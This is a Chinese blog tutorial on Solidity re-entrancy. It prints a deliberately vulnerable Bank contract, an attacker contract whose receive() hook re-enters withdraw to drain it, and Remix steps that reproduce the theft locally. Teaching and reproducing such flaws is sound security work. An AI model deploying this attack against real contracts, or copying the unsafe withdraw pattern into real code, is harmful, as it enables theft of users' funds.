Nonebasdbd
V1
2022/10/12阅读:23主题:默认主题
Solidity - Re-Entrancy
0x01 漏洞介绍
将Ether发送到地址的操作需要合约提交外部调用,这些外部调用可能被攻击者劫持,迫使合约执行进一步的代码导致重新进入逻辑
-
address. transfer()
-
address. send()
-
address. call()
除了call()
之外其他两个函数都无法造成重入漏洞(没有条件)
0x02 漏洞复现
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.12;
interface IBank {
function deposit() external payable;
function withdraw() external;
}
contract Bank {
mapping(address => uint256) public balance;
uint256 public totalDeposit;
function ethBalance() external view returns (uint256) {
return address(this).balance;
}
function deposit() external payable {
balance[msg.sender] += msg.value;
totalDeposit += msg.value;
}
function withdraw() external {
require(balance[msg.sender] > 0, "Bank: no balance");
msg.sender.call{value: balance[msg.sender]}("");
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
}
}
contract ReentrancyAttack {
IBank bank;
constructor(address _bank) {
bank = IBank(_bank);
}
function doDeposit() external payable {
bank.deposit{value: msg.value}();
}
function doWithdraw() external {
bank.withdraw();
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {
bank.withdraw();
}
}
-
1.打开 https://remix.ethereum.org/
-
2.选择 solidity 版本为 0.8.12,部署 Bank 合约。
-
3.将 Bank 合约地址作为参数部署 ReentrancyAttack 合约。
-
4.value 选择 1 Ether,点击 Bank 合约的 deposit 方法,存入 1 Ether。
-
5.value 选择 1 Ether,点击 ReentrancyAttack 合约的 doDeposit 方法,存入 1 Ether。
-
6.点击 Bank 合约的 totalDeposit 方法,是 2 Ether,点击 Bank 合约的 ethBalance 方法,也是 2 Ether。
-
7.点击 ReentrancyAttack 合约的 doWithdraw 方法,进行重入攻击。
-
8.点击 Bank 合约的 totalDeposit 方法,是 1 Ether,点击 Bank 合约的 ethBalance 方法,却是 0 Ether。
-
9.使用 Bank 合约的 balance 方法查看 ReentrancyAttack 合约地址和合约创建者,发现合约创建者 balance 为 1 Ether,但是合约里已经没有 Ether 可以提供兑付。

作者介绍
Nonebasdbd
V1